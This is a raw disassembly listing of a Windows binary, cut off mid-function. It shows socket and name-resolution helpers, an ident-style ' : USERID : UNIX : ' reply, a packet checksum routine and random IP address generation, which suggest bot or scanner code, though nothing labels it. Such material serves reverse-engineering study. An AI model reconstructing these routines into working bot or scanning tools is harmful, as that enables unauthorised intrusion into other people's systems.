		cmp	[ebp+var_1228],	0
		jz	short loc_403EF6
		cmp	[ebp+var_1228],	0FFFFFFFFh
		jz	short loc_403EF6
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 10h
		jbe	short loc_403F07


loc_403EF6:				; CODE XREF: sub_403DF3+E6j
					; sub_403DF3+EFj
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403F07:				; CODE XREF: sub_403DF3+101j
		movsx	eax, byte_41EEC8
		test	eax, eax
		jz	short loc_403F27
		push	offset byte_41EEC8
		lea	eax, [ebp+var_1224]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_403F57
; ---------------------------------------------------------------------------


loc_403F27:				; CODE XREF: sub_403DF3+11Dj
		lea	eax, [ebp+var_1200]
		push	eax
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_11DC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1224]
		push	eax
		push	offset byte_41EEC8
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx


loc_403F57:				; CODE XREF: sub_403DF3+132j
		push	offset aUseridUnix ; " : USERID	: UNIX : "
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1224]
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		push	offset asc_418214 ; "\r\n"
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B70	; _mbscat
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1000]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		inc	eax
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	[ebp+var_11B8]
		call	sub_4053BF
		add	esp, 0Ch
		push	[ebp+var_11B8]
		call	sub_40538D
		pop	ecx
		jmp	loc_403E75
; ---------------------------------------------------------------------------


loc_403FC7:				; CODE XREF: sub_403DF3:loc_403EA2j
		push	[ebp+var_11B4]
		call	sub_404CBB
		pop	ecx
		push	[ebp+var_11B0]
		call	sub_409763
		pop	ecx
		xor	eax, eax

locret_403FE1:				; CODE XREF: sub_403DF3+5Aj
		leave
		retn	4
sub_403DF3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE5	proc near		; CODE XREF: sub_40A9CF+EECp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jz	short loc_403FFD
		push	[ebp+arg_4]
		call	sub_40422A
		pop	ecx
		test	eax, eax
		jnz	short loc_404004


loc_403FFD:				; CODE XREF: sub_403FE5+9j
		mov	[ebp+arg_4], offset dword_418A18


loc_404004:				; CODE XREF: sub_403FE5+16j
		push	1ADh
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_40401A
		jmp	short locret_40407B
; ---------------------------------------------------------------------------


loc_40401A:				; CODE XREF: sub_403FE5+31j
		push	6
		push	[ebp+arg_4]
		mov	eax, [ebp+var_4]
		add	eax, 4
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		add	eax, 0Ah
		push	eax
		call	sub_405F67
		pop	ecx
		pop	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_404059
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+18Bh]
		test	eax, eax
		jz	short loc_404059
		and	[ebp+var_8], 0
		jmp	short loc_404060
; ---------------------------------------------------------------------------


loc_404059:				; CODE XREF: sub_403FE5+5Ej
					; sub_403FE5+6Cj
		mov	[ebp+var_8], 1


loc_404060:				; CODE XREF: sub_403FE5+72j
		push	[ebp+arg_4]
		push	offset dword_4189F8
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset sub_403DF3
		call	sub_4095A4
		add	esp, 14h

locret_40407B:				; CODE XREF: sub_403FE5+33j
		leave
		retn
sub_403FE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40407D	proc near		; CODE XREF: sub_4055E5+772p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0


loc_404085:				; CODE XREF: sub_40407D+2Cj
		cmp	[ebp+arg_4], 1
		jbe	short loc_4040AB
		mov	eax, [ebp+arg_0]
		movzx	eax, word ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+arg_0]
		inc	eax
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_404085
; ---------------------------------------------------------------------------


loc_4040AB:				; CODE XREF: sub_40407D+Cj
		cmp	[ebp+arg_4], 0
		jz	short loc_4040BF
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx


loc_4040BF:				; CODE XREF: sub_40407D+32j
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		add	eax, ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ecx, [ebp+var_4]
		add	ecx, eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_4]
		not	eax
		leave
		retn
sub_40407D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4040E8	proc near		; CODE XREF: sub_4055E5+752p
					; sub_40A9CF+1A2Fp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 2
		jz	short loc_404146
		cmp	[ebp+var_4], 3
		jz	short loc_404124
		cmp	[ebp+var_4], 4
		jz	short loc_404106
		jmp	short loc_40416A
; ---------------------------------------------------------------------------


loc_404106:				; CODE XREF: sub_4040E8+1Aj
		mov	eax, [ebp+arg_0]
		and	al, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404124:				; CODE XREF: sub_4040E8+14j
		mov	eax, [ebp+arg_0]
		and	ah, 0
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 8
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_404146:				; CODE XREF: sub_4040E8+Ej
		mov	eax, [ebp+arg_0]
		and	eax, 0FF00FFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 10h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx


loc_40416A:				; CODE XREF: sub_4040E8+1Cj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFFFh
		mov	[ebp+arg_0], eax
		push	0FEh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		shl	eax, 18h
		mov	ecx, [ebp+arg_0]
		or	ecx, eax
		mov	[ebp+arg_0], ecx
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_4040E8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404193	proc near		; CODE XREF: sub_404279+Ap
					; sub_40435B+17p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0Ah
		push	[ebp+arg_0]
		push	0FFFFh
		push	401h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		pop	ebp
		retn
sub_404193	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4041B7	proc near		; CODE XREF: sub_40D871+5B3p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	offset dword_418A48
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041D5
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041D5:				; CODE XREF: sub_4041B7+17j
		push	4
		push	offset dword_418A40
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4041F0
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_4041F0:				; CODE XREF: sub_4041B7+32j
		push	8
		push	offset dword_418A34
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40420B
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_40420B:				; CODE XREF: sub_4041B7+4Dj
		push	3
		push	offset dword_418A30
		push	[ebp+arg_0]
		call	sub_416BF0	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404226
		push	1
		pop	eax
		jmp	short loc_404228
; ---------------------------------------------------------------------------


loc_404226:				; CODE XREF: sub_4041B7+68j
		xor	eax, eax


loc_404228:				; CODE XREF: sub_4041B7+1Cj
					; sub_4041B7+37j ...
		pop	ebp
		retn
sub_4041B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40422A	proc near		; CODE XREF: sub_402A32+206p
					; sub_403FE5+Ep ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_40423C
; ---------------------------------------------------------------------------


loc_404235:				; CODE XREF: sub_40422A:loc_404273j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_40423C:				; CODE XREF: sub_40422A+9j
		cmp	[ebp+var_4], 6
		jnz	short loc_404244
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_404244:				; CODE XREF: sub_40422A+16j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_404273
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_40426C
		cmp	[ebp+var_8], 0FFFFh
		jbe	short loc_40426E


loc_40426C:				; CODE XREF: sub_40422A+37j
		jmp	short loc_404275
; ---------------------------------------------------------------------------


loc_40426E:				; CODE XREF: sub_40422A+40j
		push	1
		pop	eax
		jmp	short locret_404277
; ---------------------------------------------------------------------------


loc_404273:				; CODE XREF: sub_40422A+25j
		jmp	short loc_404235
; ---------------------------------------------------------------------------


loc_404275:				; CODE XREF: sub_40422A+18j
					; sub_40422A:loc_40426Cj
		xor	eax, eax

locret_404277:				; CODE XREF: sub_40422A+47j
		leave
		retn
sub_40422A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404279	proc near		; CODE XREF: sub_4042FB+Cp
					; sub_408B30+197p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jnz	short loc_4042A4
		push	1
		pop	eax
		jmp	short locret_4042F9
; ---------------------------------------------------------------------------


loc_4042A4:				; CODE XREF: sub_404279+24j
		push	0BB8h
		push	0
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41EF48
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_C], eax
		push	[ebp+var_10]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_C], 0
		jz	short loc_4042DA
		cmp	[ebp+var_C], 0FFFFFFFFh
		jz	short loc_4042DA
		and	[ebp+var_18], 0
		jmp	short loc_4042E1
; ---------------------------------------------------------------------------


loc_4042DA:				; CODE XREF: sub_404279+53j
					; sub_404279+59j
		mov	[ebp+var_18], 1


loc_4042E1:				; CODE XREF: sub_404279+5Fj
		mov	eax, [ebp+var_18]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_4042F6
		push	[ebp+var_C]
		call	sub_4053B1
		pop	ecx


loc_4042F6:				; CODE XREF: sub_404279+72j
		mov	eax, [ebp+var_14]

locret_4042F9:				; CODE XREF: sub_404279+29j
		leave
		retn
sub_404279	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4042FB	proc near		; CODE XREF: sub_411D68+4p
					; sub_41349C+1FAp ...
		push	ebp
		mov	ebp, esp
		cmp	dword_41E294, 0
		jnz	short loc_404327
		call	sub_404279
		push	eax
		push	offset dword_41E298
		call	sub_409C9D
		pop	ecx
		pop	ecx
		push	1
		push	offset dword_41E294
		call	sub_409C9D
		pop	ecx
		pop	ecx


loc_404327:				; CODE XREF: sub_4042FB+Aj
		mov	eax, dword_41E298
		pop	ebp
		retn
sub_4042FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40432E	proc near		; CODE XREF: sub_40435B+6p
					; sub_4046BC+5Dp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	1
		push	17h
		call	dword_417218	; socket
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404350
		push	[ebp+var_4]
		call	sub_4053B1
		pop	ecx


loc_404350:				; CODE XREF: sub_40432E+17j
		xor	eax, eax
		cmp	[ebp+var_4], 0FFFFFFFFh
		setnz	al
		leave
		retn
sub_40432E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40435B	proc near		; CODE XREF: sub_4083AD:loc_4085D6p

var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		call	sub_40432E
		test	eax, eax
		jnz	short loc_40436E
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_40436E:				; CODE XREF: sub_40435B+Dj
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_404193
		pop	ecx
		push	1
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_4046BC
		pop	ecx
		pop	ecx
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_404392
		xor	eax, eax
		jmp	short locret_4043E7
; ---------------------------------------------------------------------------


loc_404392:				; CODE XREF: sub_40435B+31j
		push	0BB8h
		push	2
		lea	eax, [ebp+var_14]
		push	eax
		push	offset dword_418A5C
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	sub_404CBB
		pop	ecx
		cmp	[ebp+var_8], 0
		jz	short loc_4043CB
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_4043CB
		mov	[ebp+var_18], 1
		jmp	short loc_4043CF
; ---------------------------------------------------------------------------


loc_4043CB:				; CODE XREF: sub_40435B+5Fj
					; sub_40435B+65j
		and	[ebp+var_18], 0


loc_4043CF:				; CODE XREF: sub_40435B+6Ej
		mov	eax, [ebp+var_18]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_4043E4
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_4043E4:				; CODE XREF: sub_40435B+7Ej
		mov	eax, [ebp+var_4]

locret_4043E7:				; CODE XREF: sub_40435B+11j
					; sub_40435B+35j
		leave
		retn
sub_40435B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4043E9	proc near		; CODE XREF: sub_408B30:loc_408C9Fp
					; sub_40CA29+231p ...

var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	offset dword_418A1C
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	7D0h
		push	2
		push	offset a80	; "80"
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_404439
		cmp	[ebp+var_8], 0FFFFFFFFh
		jz	short loc_404439
		mov	[ebp+var_20], 1
		jmp	short loc_40443D
; ---------------------------------------------------------------------------


loc_404439:				; CODE XREF: sub_4043E9+3Fj
					; sub_4043E9+45j
		and	[ebp+var_20], 0


loc_40443D:				; CODE XREF: sub_4043E9+4Ej
		mov	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404452
		push	[ebp+var_8]
		call	sub_4053B1
		pop	ecx


loc_404452:				; CODE XREF: sub_4043E9+5Ej
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4043E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404457	proc near		; CODE XREF: sub_404FE7+AFp
					; sub_4050EA+EDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	eax, eax
		cmp	[ebp+arg_4], 0
		setz	al
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	[ebp+arg_0]
		call	dword_417214	; ioctlsocket
		leave
		retn
sub_404457	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40447B	proc near		; CODE XREF: sub_40732D+22Ep
					; sub_40732D+296p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	4004667Fh
		push	[ebp+arg_0]
		call	dword_417214	; ioctlsocket
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setnz	al
		leave
		retn
sub_40447B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40449C	proc near		; CODE XREF: sub_40D871+5A1p
					; sub_411DC5+65p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4044CC
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044CC:				; CODE XREF: sub_40449C+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jz	short loc_4044F2
		xor	eax, eax
		jmp	short locret_4044F5
; ---------------------------------------------------------------------------


loc_4044F2:				; CODE XREF: sub_40449C+50j
		push	1
		pop	eax

locret_4044F5:				; CODE XREF: sub_40449C+2Ej
					; sub_40449C+54j
		leave
		retn
sub_40449C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4044F7	proc near		; CODE XREF: sub_40732D+DDp
					; sub_4129CA+29p ...

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		mov	[ebp+var_84], 80h
		lea	eax, [ebp+var_84]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404527
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_404527:				; CODE XREF: sub_4044F7+2Aj
		push	2
		push	0
		push	0
		push	100h
		push	[ebp+arg_4]
		push	[ebp+var_84]
		lea	eax, [ebp+var_80]
		push	eax
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jz	short loc_40454D
		xor	eax, eax
		jmp	short locret_404550
; ---------------------------------------------------------------------------


loc_40454D:				; CODE XREF: sub_4044F7+50j
		push	1
		pop	eax

locret_404550:				; CODE XREF: sub_4044F7+2Ej
					; sub_4044F7+54j
		leave
		retn
sub_4044F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404552	proc near		; CODE XREF: sub_41331E+A6p
					; sub_415F69+256p

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417240	; getsockname
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_404582
		xor	eax, eax
		jmp	short locret_4045B0
; ---------------------------------------------------------------------------


loc_404582:				; CODE XREF: sub_404552+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_4045B0:				; CODE XREF: sub_404552+2Ej
		leave
		retn
sub_404552	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045B2	proc near		; CODE XREF: sub_4143B0+191p
					; sub_415F69+20Ap

var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		mov	[ebp+var_88], 80h
		lea	eax, [ebp+var_88]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	[ebp+arg_0]
		call	dword_417210	; getpeername
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4045E2
		xor	eax, eax
		jmp	short locret_404610
; ---------------------------------------------------------------------------


loc_4045E2:				; CODE XREF: sub_4045B2+2Aj
		lea	eax, [ebp+var_80]
		mov	[ebp+var_84], eax
		push	0Ah
		push	[ebp+arg_4]
		mov	eax, [ebp+var_84]
		mov	ax, [eax+2]
		push	eax
		call	dword_417238	; htons
		movzx	eax, ax
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		push	1
		pop	eax

locret_404610:				; CODE XREF: sub_4045B2+2Ej
		leave
		retn
sub_4045B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404612	proc near		; CODE XREF: sub_40D871+69Cp

var_40C		= dword	ptr -40Ch
var_408		= dword	ptr -408h
var_404		= byte ptr -404h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40Ch
		lea	eax, [ebp+var_408]
		push	eax
		push	0
		push	0
		push	[ebp+arg_0]
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jnz	loc_4046B8
		mov	eax, [ebp+var_408]
		mov	[ebp+var_40C], eax


loc_404643:				; CODE XREF: sub_404612+98j
		cmp	[ebp+var_40C], 0
		jz	short loc_4046AC
		push	2
		push	0
		push	0
		push	401h
		lea	eax, [ebp+var_404]
		push	eax
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_40C]
		push	dword ptr [eax+18h]
		call	dword_41DE88	; getnameinfo
		test	eax, eax
		jnz	short loc_40469B
		mov	eax, [ebp+var_40C]
		cmp	dword ptr [eax+4], 2
		jnz	short loc_40469B
		lea	eax, [ebp+var_404]
		push	eax
		push	[ebp+arg_4]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	al, 1
		jmp	short locret_4046BA
; ---------------------------------------------------------------------------


loc_40469B:				; CODE XREF: sub_404612+66j
					; sub_404612+72j
		mov	eax, [ebp+var_40C]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_40C], eax
		jmp	short loc_404643
; ---------------------------------------------------------------------------


loc_4046AC:				; CODE XREF: sub_404612+38j
		push	[ebp+var_408]
		call	dword_41DE8C	; freeaddrinfo


loc_4046B8:				; CODE XREF: sub_404612+1Fj
		xor	al, al

locret_4046BA:				; CODE XREF: sub_404612+87j
		leave
		retn
sub_404612	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4046BC	proc near		; CODE XREF: sub_4020C2+124p
					; sub_403DF3+36p ...

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 3Ch
		xor	eax, eax
		test	eax, eax
		jz	short loc_4046D1
		mov	[ebp+var_3C], 2
		jmp	short loc_4046D8
; ---------------------------------------------------------------------------


loc_4046D1:				; CODE XREF: sub_4046BC+Aj
		mov	[ebp+var_3C], 1


loc_4046D8:				; CODE XREF: sub_4046BC+13j
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_8], eax
		push	1008h
		call	sub_416B46	; malloc
		pop	ecx
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0
		jnz	short loc_4046F9
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_4046F9:				; CODE XREF: sub_4046BC+34j
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax], 0
		mov	eax, [ebp+var_2C]
		and	dword ptr [eax+804h], 0
		push	20h
		push	0
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		call	sub_40432E
		neg	eax
		sbb	eax, eax
		and	al, 0FEh
		inc	eax
		inc	eax
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_20], eax
		mov	[ebp+var_28], 5
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		push	[ebp+arg_0]
		push	0
		call	dword_41DE84	; getaddrinfo
		test	eax, eax
		jz	short loc_40475D
		push	[ebp+var_2C]
		call	sub_416B4C	; free
		pop	ecx
		xor	eax, eax
		jmp	locret_40486F
; ---------------------------------------------------------------------------


loc_40475D:				; CODE XREF: sub_4046BC+8Fj
		mov	eax, [ebp+var_30]
		mov	[ebp+var_4], eax
		jmp	short loc_40476E
; ---------------------------------------------------------------------------


loc_404765:				; CODE XREF: sub_4046BC+DDj
					; sub_4046BC+F1j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40476E:				; CODE XREF: sub_4046BC+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40484E
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_34], eax
		cmp	[ebp+var_34], 0FFFFFFFFh
		jnz	short loc_40479B
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_40479B:				; CODE XREF: sub_4046BC+DBj
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 2
		jz	short loc_4047AF
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+4], 17h
		jz	short loc_4047AF
		jmp	short loc_404765
; ---------------------------------------------------------------------------


loc_4047AF:				; CODE XREF: sub_4046BC+E6j
					; sub_4046BC+EFj
		mov	eax, [ebp+arg_4]
		and	eax, 2
		test	eax, eax
		jz	short loc_4047D6
		mov	[ebp+var_38], 1
		push	4
		lea	eax, [ebp+var_38]
		push	eax
		push	4
		push	0FFFFh
		push	[ebp+var_34]
		call	dword_417204	; setsockopt


loc_4047D6:				; CODE XREF: sub_4046BC+FBj
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_34]
		call	dword_417208	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4047FE
		push	[ebp+var_34]
		call	sub_4053B1
		pop	ecx
		jmp	loc_404765
; ---------------------------------------------------------------------------


loc_4047FE:				; CODE XREF: sub_4046BC+132j
		cmp	[ebp+var_8], 1
		jnz	short loc_404822
		push	32h
		push	[ebp+var_34]
